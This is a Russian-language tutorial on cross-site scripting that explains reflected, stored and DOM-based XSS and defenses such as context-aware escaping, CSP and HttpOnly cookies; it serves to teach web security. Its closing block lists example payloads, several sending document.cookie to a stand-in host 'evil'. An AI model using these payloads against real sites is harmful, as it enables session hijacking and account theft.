Межсайтовый скриптинг: чужой код в вашем браузере
XSS (Cross-Site Scripting) — это класс уязвимостей, при котором атакующий добивается выполнения своего JavaScript в браузере жертвы в контексте уязвимого сайта. Браузер не отличает скрипт, который написал разработчик, от скрипта, который подсунул злоумышленник: для него это просто код, пришедший с домена bank.example. А значит, чужой скрипт получает доступ ко всему, что доступно сайту: к кукам, к DOM, к токенам в localStorage, к формам и к действиям от имени пользователя.
Аналогия: представьте нотариуса, который заверяет любой текст, не читая его. Вы приносите бумагу «прошу выдать вклад предъявителю», нотариус ставит печать — и для банка документ выглядит абсолютно легитимным. XSS — это печать доверенного домена на чужом коде.
Первопричина: вывод недоверенных данных без экранирования
Корень XSS — не «опасный JavaScript», а то, что приложение вставляет данные, контролируемые пользователем, прямо в HTML-страницу без преобразования под контекст вывода. Имя пользователя, текст комментария, параметр из URL, значение из БД — всё это недоверенные данные. Если они попадают в разметку «как есть», браузер интерпретирует символы <, >, ", ' как структуру документа, а не как текст. Строка <script>...</script>, пришедшая в комментарии, становится исполняемым тегом.
Типичная ошибка: считать XSS проблемой ввода («запретим тег script на форме»). Чёрные списки тегов обходятся десятками способов (<img onerror>, <svg onload>, javascript:-ссылки, кодировки). Уязвимость живёт на выводе: один и тот же ввод безопасен в одном месте страницы и опасен в другом.
Мини-итог: XSS — это выполнение чужого скрипта в доверенном контексте сайта; первопричина — вставка недоверенных данных в HTML без экранирования под конкретный контекст вывода.
Откуда приходит полезная нагрузка
XSS принято делить на три типа по тому, как нагрузка попадает в страницу.
Reflected (отражённый)
Нагрузка приходит в запросе (чаще в параметре URL) и сразу отражается в ответе сервера без сохранения. Классический пример — страница поиска, которая выводит «Вы искали: <запрос>». Если запрос не экранируется, ссылка вида https://site/search?q=<script>...</script> выполнит скрипт у каждого, кто по ней перейдёт. Reflected XSS требует доставки жертве вредоносной ссылки (фишинг, реклама, сообщение в мессенджере).
Stored (хранимый)
Нагрузка сохраняется на сервере (в БД, файле, профиле) и отдаётся всем, кто открывает соответствующую страницу. Комментарий, имя в профиле, описание товара, сообщение в чате поддержки. Это самый опасный тип: жертве не нужно переходить по ссылке — достаточно открыть обычную страницу. Один сохранённый скрипт может атаковать тысячи пользователей, включая администраторов в их панели.
DOM-based
Уязвимость целиком на клиенте: сервер может отдавать корректный HTML, но JavaScript на странице сам берёт данные из источника (location.hash, document.referrer, localStorage) и небезопасно кладёт их в DOM через innerHTML, document.write, eval. Сервер нагрузку даже не видит — фрагмент URL после # на сервер не отправляется.
Аналогия: reflected — это записка, которую вам подсунули и вы её зачитали вслух; stored — записка, приклеенная к доске объявлений для всех; DOM-based — вы сами достали записку из кармана и зачитали, не глядя.
Типичная ошибка: чинить XSS только на сервере, забывая про DOM-based. Серверный шаблонизатор не спасёт, если клиентский код делает el.innerHTML = location.hash.
Мини-итог: reflected отражается из запроса, stored сохраняется и бьёт по всем, DOM-based живёт в клиентском JS — защищать нужно все три точки.
Почему «просто экранировать» недостаточно
Ключ к защите — понять, что экранирование зависит от контекста, в который попадают данные. Одна и та же строка требует разной обработки в разных местах HTML.
Четыре основных контекста
- Тело HTML (
<div>ДАННЫЕ</div>): опасны<,>,&. Нужно HTML-экранирование (<,>). - Значение атрибута (
<input value="ДАННЫЕ">): опасны кавычки — закрыв", атакующий добавитonmouseover=.... Атрибуты всегда брать в кавычки и экранировать их. - Внутри
<script>(var x = 'ДАННЫЕ'): HTML-экранирование тут бесполезно, нужно JS-экранирование/сериализация черезJSON.stringify; вставлять сырые данные в JS-контекст крайне опасно. - URL/значение href (
<a href="ДАННЫЕ">): схемаjavascript:выполняет код. Проверять схему (толькоhttp/https) и URL-кодировать.
Защита, бьющая в корень
- Автоэкранирование фреймворка. Современные движки (Vue, React, Angular, Thymeleaf, шаблоны Django) по умолчанию экранируют выводимые данные под HTML-контекст. Опасны лишь сознательные «дыры»:
v-html,dangerouslySetInnerHTML,innerHTML. Их нужно избегать или прогонять через санитайзер (DOMPurify). - Контекстное экранирование вручную там, где нет автоэскейпа — каждому контексту своя функция.
- Content Security Policy (CSP). HTTP-заголовок, ограничивающий источники скриптов. Строгая политика (
script-src 'self'безunsafe-inline, либо nonce/hash) не даёт выполниться инлайн-скрипту, даже если нагрузка просочилась — это второй рубеж, а не замена экранированию. - HttpOnly на кукиах сессии. Флаг
HttpOnlyзапрещает JavaScript читать куку черезdocument.cookie. Даже при успешном XSS атакующий не угонит сессионный токен напрямую. ДополняйтеSecureиSameSite.
Типичная ошибка: одно «универсальное» экранирование на весь сайт. HTML-эскейп не спасёт внутри <script> или в href="javascript:..." — там нужны другие правила.
Мини-итог: защита от XSS — это контекстно-зависимое экранирование вывода плюс эшелон CSP и HttpOnly-кук; универсального «одного фильтра» не существует.
<!-- 1) Тело HTML: классический инъект тега -->
<script>fetch('https://evil/c?'+document.cookie)</script>
<!-- 2) Тело HTML без <script>: событие на картинке -->
<img src=x onerror="new Image().src='https://evil/c?'+document.cookie">
<!-- 3) Выход из значения атрибута: закрываем кавычку и вешаем обработчик -->
"><svg onload=alert(document.domain)>
<!-- если данные попали в value="...", получится:
<input value=""><svg onload=alert(document.domain)>"> -->
<!-- 4) Контекст URL/href: схема javascript: -->
<a href="javascript:fetch('https://evil/c?'+document.cookie)">click</a>
<!-- 5) Внутри <script> var x='ДАННЫЕ': закрываем строку и тег -->
<!-- payload: ';document.location='https://evil/c?'+document.cookie;// -->